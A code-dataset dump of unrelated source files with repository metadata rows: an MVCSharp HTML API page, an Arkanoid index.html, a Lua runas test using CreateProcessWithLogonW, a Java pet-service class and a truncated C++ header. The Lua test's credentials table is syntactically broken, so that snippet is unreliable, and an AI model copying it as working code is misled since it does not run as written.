href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/s7b0745h" target="_blank">MdiChildren</a></td><td><div class="summary">Gets an array of forms that represent the multiple document interface (MDI) child forms that are parented to this form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/842w1sf2" target="_blank">MdiParent</a></td><td><div class="summary">Gets or sets the current multiple document interface (MDI) parent form of this form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a5h4f9xt" target="_blank">Menu</a></td><td><div class="summary">Gets or sets the <a href="http://msdn2.microsoft.com/en-us/ebke748d" target="_blank">MainMenu</a> that is displayed in the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/hfty5t64" target="_blank">MergedMenu</a></td><td><div class="summary">Gets the merged menu for the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3stswwc6" target="_blank">MinimizeBox</a></td><td><div class="summary">Gets or sets a value indicating whether the minimize button is displayed in the caption bar of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/f261a5zz" target="_blank">MinimumSize</a></td><td><div class="summary">Gets or sets the minimum size the form can be resized to.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/dh81b09c" target="_blank">Modal</a></td><td><div class="summary">Gets a value indicating whether this form is displayed modally.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3dw0deht" target="_blank">Name</a></td><td><div class="summary">Gets or sets the name of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/fyby5ek5" target="_blank">Opacity</a></td><td><div class="summary">Gets or sets the opacity level of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/wset45be" target="_blank">OwnedForms</a></td><td><div class="summary">Gets an array of <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a> objects that represent all forms that are owned by this form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/decz3b5c" target="_blank">Owner</a></td><td><div class="summary">Gets or sets the form that owns this form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/fyk4dfdy" target="_blank">Padding</a></td><td><div class="summary">Gets or sets padding within the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/dch043h6" target="_blank">Parent</a></td><td><div class="summary">Gets or sets the parent container of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/d2450k31" target="_blank">ParentForm</a></td><td><div class="summary">Gets the form that the container control is assigned to.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/0sk968ae" target="_blank">PreferredSize</a></td><td><div class="summary">Gets the size of a rectangular area into which the control can fit.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/e2b5bx01" target="_blank">ProductName</a></td><td><div class="summary">Gets the product name of the assembly containing the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/chxttyf6" target="_blank">ProductVersion</a></td><td><div class="summary">Gets the version of the assembly containing the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ts68ss6x" target="_blank">RecreatingHandle</a></td><td><div class="summary">Gets a value indicating whether the control is currently re-creating its handle.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ddhy6052" target="_blank">Region</a></td><td><div class="summary">Gets or sets the window region associated with the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/253512tz" target="_blank">RenderRightToLeft</a></td><td> <font color="red"><b>Obsolete. </b></font> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/x8he8see" target="_blank">ResizeRedraw</a></td><td><div class="summary">Gets or sets a value indicating whether the control redraws itself when resized.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/8exae22a" target="_blank">RestoreBounds</a></td><td><div class="summary">Gets the location and size of the form in its normal window state.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/561s7fd9" target="_blank">Right</a></td><td><div class="summary">Gets the distance, in pixels, between the right edge of the control and the left edge of its container's client area.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/w9e5s1ba" target="_blank">RightToLeft</a></td><td><div class="summary">Gets or sets a value indicating whether control's elements are aligned to support locales using right-to-left fonts.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159417" target="_blank">RightToLeftLayout</a></td><td><div class="summary">Gets or sets a value indicating whether right-to-left mirror placement is turned on.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms158422" target="_blank">ScaleChildren</a></td><td><div class="summary">Gets a value that determines the scaling of child controls. </div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/thcea81t" target="_blank">ShowFocusCues</a></td><td><div class="summary">Gets a value indicating whether the control should display focus rectangles.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159418" target="_blank">ShowIcon</a></td><td><div class="summary">Gets or sets a value indicating whether an icon is displayed in the caption bar of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/5xkd39aa" target="_blank">ShowInTaskbar</a></td><td><div class="summary">Gets or sets a value indicating whether the form is displayed in the Windows taskbar.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/1e8s97es" target="_blank">ShowKeyboardCues</a></td><td><div class="summary">Gets a value indicating whether the user interface is in the appropriate state to show or hide keyboard accelerators.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms224484" target="_blank">ShowWithoutActivation</a></td><td><div class="summary">Gets a value indicating whether the window will be activated when it is shown.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/24sf20kb" target="_blank">Site</a></td><td><div class="summary">Gets or sets the site of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/25w4thew" target="_blank">Size</a></td><td><div class="summary">Gets or sets the size of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/d1azx0bb" target="_blank">SizeGripStyle</a></td><td><div class="summary">Gets or sets the style of the size grip to display in the lower-right corner of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/se021fth" target="_blank">StartPosition</a></td><td><div class="summary">Gets or sets the starting position of the form at run time.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/0as9a62t" target="_blank">TabIndex</a></td><td><div class="summary">Gets or sets the tab order of the control within its container.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/576sywk2" target="_blank">TabStop</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/t6k4e2fz" target="_blank">Tag</a></td><td><div class="summary">Gets or sets the object that contains data about the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159419" target="_blank">Text</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/szscbz0c" target="_blank">Top</a></td><td><div class="summary">Gets or sets the distance, in pixels, between the top edge of the control and the top edge of its container's client area.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/11kse9y1" target="_blank">TopLevel</a></td><td><div class="summary">Gets or sets a value indicating whether to display the form as a top-level window.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2kfffefs" target="_blank">TopLevelControl</a></td><td><div class="summary">Gets the parent control that is not parented by another Windows Forms control. Typically, this is the outermost <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a> that the control is contained in.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/w3bf6504" target="_blank">TopMost</a></td><td><div class="summary">Gets or sets a value indicating whether the form should be displayed as a topmost form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zka49s12" target="_blank">TransparencyKey</a></td><td><div class="summary">Gets or sets the color that will represent transparent areas of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/7thcdwhz" target="_blank">UseWaitCursor</a></td><td><div class="summary">Gets or sets a value indicating whether to use the wait cursor for the current control and all child controls.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/30xbb2t0" target="_blank">VerticalScroll</a></td><td><div class="summary">Gets the characteristics associated with the vertical scroll bar.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;declared;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="2add1492-134a-0b79-440e-382b6e88a1ea.htm">ViewName</a></td><td><div class="summary">
Simple IView.ViewName implementation with backing field.
Marked as virtual, so can be overriden in subclasses.
</div></td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3k8kd8ah" target="_blank">Visible</a></td><td><div class="summary">Gets or sets a value indicating whether the control is displayed.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/cc8cybdx" target="_blank">VScroll</a></td><td><div class="summary">Gets or sets a value indicating whether the vertical scroll bar is visible.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/bk74axfh" target="_blank">Width</a></td><td><div class="summary">Gets or sets the width of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/6kf5k745" target="_blank">WindowState</a></td><td><div class="summary">Gets or sets the form's window state.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3w28wa82" target="_blank">WindowTarget</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr></table></div><h1 class="heading"><span onclick="ExpandCollapse(seeAlsoToggle)" style="cursor:default;" onkeypress="ExpandCollapse_CheckKey(seeAlsoToggle, event)" tabindex="0"><img id="seeAlsoToggle" class="toggle" name="toggleSwitch" src="../icons/collapse_all.gif" />See Also</span></h1><div id="seeAlsoSection" class="section" name="collapseableSection" style=""><div class="seeAlsoStyle"><a href="bb01282e-b26e-3fb5-15c0-b6f44637ab14.htm">WinFormView Class</a></div><div class="seeAlsoStyle"><a href="74e7b99c-29f6-72f0-f00a-533785dc2965.htm">MVCSharp.Winforms Namespace</a></div></div></div><div id="footer"><div class="footerLine"><img width="100%" height="3px" src="../icons/footer.gif" title="Footer image" /></div><A NAME="feedback"></A><span id="fb" class="feedbackcss" style="display: none;"> </span>
<p />Send comments on this topic to
<a id="HT_MailLink" href="mailto:Feedback%40MVCSharp.org?Subject=MVC# Documentation">Feedback@MVCSharp.org</a>
<script type="text/javascript">
var HT_mailLink = document.getElementById("HT_MailLink");
var HT_mailLinkText = HT_mailLink.innerHTML;
HT_mailLink.href += ": " + document.title;
HT_mailLink.innerHTML = HT_mailLinkText;
</script> <p />Copyright © www.MVCSharp.org 2008</div></div></body></html> | 3,031.75 | 41,803 | 0.722891 |
253f39686b813dd45c1ea5be125350fc61e78eaf | 895 | html | HTML | index.html | megabass00/arkanoid-game | 92abcf51a6c033ad2a068e3a8be1c850da590217 | [
"MIT"
] | 2 | 2021-03-02T13:01:28.000Z | 2021-04-15T20:20:03.000Z | index.html | megabass00/arkanoid-game | 92abcf51a6c033ad2a068e3a8be1c850da590217 | [
"MIT"
] | null | null | null | index.html | megabass00/arkanoid-game | 92abcf51a6c033ad2a068e3a8be1c850da590217 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Arkanoid Game · megabass00</title>
</head>
<body>
<div class="title">
<span class="arkanoid">
<span>A</span>
<span>R</span>
<span>K</span>
<span>A</span>
<span>N</span>
<span>O</span>
<span>I</span>
<span>D</span>
</span>
<span class="author">by megabass00</span>
</div>
<canvas id="arkanoid" width="800" height="500"></canvas>
<div class="link">
<a href="https://github.com/megabass00/arkanoid-game" target="_blank">Visit repo on GitHub</a>
</div>
<script src="js/config.js"></script>
<script src="js/index.js"></script>
</body>
</html> | 29.833333 | 102 | 0.544134 |
b1523143b0eb50f3438dc7936c0872b3b0f0c05e | 3,088 | lua | Lua | tests/runas.lua | CoderAldrich/TINN | f4e2555fe49261285ff0db79fdd932bb708f530a | [
"MS-PL"
] | 70 | 2015-02-02T02:32:42.000Z | 2022-01-18T15:17:58.000Z | tests/runas.lua | CoderAldrich/TINN | f4e2555fe49261285ff0db79fdd932bb708f530a | [
"MS-PL"
] | 1 | 2019-06-04T13:46:20.000Z | 2019-06-06T04:34:27.000Z | tests/runas.lua | CoderAldrich/TINN | f4e2555fe49261285ff0db79fdd932bb708f530a | [
"MS-PL"
] | 12 | 2015-05-22T05:23:17.000Z | 2021-02-17T11:50:21.000Z | -- test_createprocesswithlogon
local ffi = require("ffi");
local bit = require("bit");
local bor = bit.bor;
local rshift = bit.rshift;
local lshift = bit.lshift;
local k32Lib = ffi.load("Kernel32");
local advlib = ffi.load("AdvApi32");
local core_string = require("core_string_l1_1_0");
local L = core_string.toUnicode;
ffi.cdef[[
DWORD
FormatMessageA(
DWORD dwFlags,
LPCVOID lpSource,
DWORD dwMessageId,
DWORD dwLanguageId,
LPSTR lpBuffer,
DWORD nSize,
va_list *Arguments
);
static const int FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000;
static const int LANG_NEUTRAL = 0x00;
static const int SUBLANG_DEFAULT = 0x01; // user default
]]
MAKELANGID = function(p, s)
return bor(lshift(s, 10), p);
end
PRIMARYLANGID = function(lgid)
return band(lgid, 0x3ff);
end
SUBLANGID = function(lgid)
return rshift(lgid, 10);
end
local function DisplayError(pszAPI)
local buffSize = 512;
local lpvMessageBuffer = ffi.new("char[?]", buffSize);
local errorCode = k32Lib.GetLastError();
k32Lib.FormatMessageA( ffi.C.FORMAT_MESSAGE_FROM_SYSTEM,
nil,
errorCode,
MAKELANGID(ffi.C.LANG_NEUTRAL, ffi.C.SUBLANG_DEFAULT),
lpvMessageBuffer,
buffSize,
nil);
print("ERROR: API = ", pszAPI);
print(" error code = ", errorCode);
print(" message = ", ffi.string(lpvMessageBuffer));
end
local CreateProcessWithLogon = function(usercreds, lpApplicationName, lpCommandLine)
local dwLogonFlags = 0;
local dwCreationFlags = 0;
local lpEnvironment = nil;
local lpCurrentDirectory = nil;
local lpStartupInfo = ffi.new("STARTUPINFOW");
if lpCommandLine then
lpCommandLine = L(lpCommandLine);
end
lpStartupInfo.cb = ffi.sizeof("STARTUPINFOW");
lpStartupInfo.lpReserved = nil;
lpStartupInfo.lpDesktop = nil;
lpStartupInfo.lpTitle = L"Title";
lpStartupInfo.dwX = 0;
lpStartupInfo.dwY = 0;
lpStartupInfo.dwXSize = 640;
lpStartupInfo.dwYSize = 480;
lpStartupInfo.dwXCountChars = 80;
lpStartupInfo.dwYCountChars = 24;
lpStartupInfo.dwFillAttribute = 0;
lpStartupInfo.dwFlags = 0;
lpStartupInfo.wShowWindow = 0;
lpStartupInfo.cbReserved2 = 0;
lpStartupInfo.lpReserved2 = nil;
--lpStartupInfo.hStdInput = ;
--lpStartupInfo.hStdOutput = ;
--lpStartupInfo.hStdError = ;
local lpProcessInfo = ffi.new("PPROCESS_INFORMATION");
local res = advlib.CreateProcessWithLogonW(
L(usercreds.UserName),
L(usercreds.Domain),
L(usercreds.Password),
dwLogonFlags,
L(lpApplicationName),
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInfo);
if res == 0 then
DisplayError("CreateProcessWithLogonW");
return false, k32Lib.GetLastError();
end
return lpProcessInfo;
end
local usercreds = {UserName = Domain = Password = };
local res, err = CreateProcessWithLogon(usercreds, "c:\\tools\\tinn\\tinn.exe", "-v");
| 24.704 | 90 | 0.673899 |
80c334ea4a5134fed5069a5762bedb2437c25234 | 2,134 | java | Java | src/main/java/com/udacity/jdnd/course3/critter/service/PetService.java | pulkit-rastogi97/Critter-Chronologer | 449782e2272ecd85f0f078fcb3716f9ee7fc6066 | [
"MIT"
] | null | null | null | src/main/java/com/udacity/jdnd/course3/critter/service/PetService.java | pulkit-rastogi97/Critter-Chronologer | 449782e2272ecd85f0f078fcb3716f9ee7fc6066 | [
"MIT"
] | null | null | null | src/main/java/com/udacity/jdnd/course3/critter/service/PetService.java | pulkit-rastogi97/Critter-Chronologer | 449782e2272ecd85f0f078fcb3716f9ee7fc6066 | [
"MIT"
] | null | null | null | package com.udacity.jdnd.course3.critter.service;
import com.udacity.jdnd.course3.critter.entity.Customer;
import com.udacity.jdnd.course3.critter.entity.Pet;
import com.udacity.jdnd.course3.critter.exception.CustomerNotFoundException;
import com.udacity.jdnd.course3.critter.exception.PetNotFoundException;
import com.udacity.jdnd.course3.critter.repository.CustomerRepository;
import com.udacity.jdnd.course3.critter.repository.PetRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Optional;
@Service
public class PetService {
@Autowired
PetRepository petRepository;
@Autowired
CustomerRepository customerRepository;
@Value("${not.found.owner}")
String ownerError;
@Value("${not.found.pet}")
String petError;
public Pet createPet(Pet pet, Long ownerId) {
if(ownerId == null || ownerId<=0)
throw new CustomerNotFoundException(ownerError);
Optional<Customer> owner = customerRepository.findById(ownerId);
if(owner.isPresent()) {
pet.setOwner(owner.get());
Pet newPet = petRepository.saveAndFlush(pet);
owner.get().getPets().add(pet);
customerRepository.saveAndFlush(owner.get());
return newPet;
}else
throw new CustomerNotFoundException(ownerError);
}
public Pet getPetById(Long petId) {
if(petId == null || petId <= 0)
throw new PetNotFoundException(petError);
Optional<Pet> pet = petRepository.findById(petId);
if(pet.isPresent()) {
return petRepository.getOne(petId);
}else
throw new PetNotFoundException(petError);
}
public List<Pet> getAllPets() {
return petRepository.findAll();
}
public List<Pet> getByOwnerId(Long ownerId) {
if(ownerId == null || ownerId<=0)
throw new CustomerNotFoundException(ownerError);
return petRepository.findAllByOwnerId(ownerId);
}
}
| 32.333333 | 76 | 0.694002 |
48f809288709104c3d06ca9d9cab65461a67f7e9 | 2,986 | h | C | Core/DianYing/Include/Dy/Meta/Information/ElementObjectMetaInfo.h | liliilli/DianYing | 6e19f67e5d932e346a0ce63a648bed1a04ef618e | [
"MIT"
] | 4 | 2019-03-17T19:46:54.000Z | 2019-12-09T20:11:01.000Z | Core/DianYing/Include/Dy/Meta/Information/ElementObjectMetaInfo.h | liliilli/DianYing | 6e19f67e5d932e346a0ce63a648bed1a04ef618e | [
"MIT"
] | null | null | null | Core/DianYing/Include/Dy/Meta/Information/ElementObjectMetaInfo.h | liliilli/DianYing | 6e19f67e5d932e346a0ce63a648bed1a04ef618e | [
"MIT"
] | null | null | null | #ifndef GUARD_DY_META_INFORMATION_ELEMENTOBJECTMETAINFO_H
#define GUARD_DY_META_INFORMATION_ELEMENTOBJECTMETAINFO_H
///
/// MIT License
/// Copyright (c) 2018-2019 Jongmin Yun
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
/// SOFTWARE.
///
#include <vector>
#include <nlohmann/json_fwd.hpp>
#include <Dy/Element/Descriptor/EWorldObjectType.h>
#include <Dy/Meta/Information/ComponentMetaInformation.h>
namespace dy
{
///
/// @struct PDyObjectMetaInfo
/// @brief object meta information container
///
struct PDyObjectMetaInfo final
{
PDyObjectMetaInfo() = default;
MDY_ONLY_MOVEABLE_PROPERTIES_DEFAULT(PDyObjectMetaInfo);
struct DCommonProperties final
{
/// @brief Parent full specifier name like a A.B.C
std::string mParentSpecifierName = MDY_INITIALIZE_EMPTYSTR;
/// @brief Prefab specifier name.
std::string mPrefabSpecifierName = MDY_INITIALIZE_EMPTYSTR;
/// @brief Prefab object tag.
std::string mTagSpecifier = MDY_INITIALIZE_EMPTYSTR;
/// @brief AWorldObject is initially activated or not.
bool mInitialActivated = false;
/// @brief AWorldObject is using prefab.
bool mIsUsingPrefab = false;
/// @brief Is using prefab specified object tag? \n
/// If prefab is not exist, just use specified `TagSpecifier`.
bool mIsOverridePrefabTag = false;
};
/// Object specifier name
std::string mSpecifierName = MDY_INITIALIZE_EMPTYSTR;
/// Object properties.
DCommonProperties mProperties = {};
/// The type (light, pawn, pp block etc...) of object
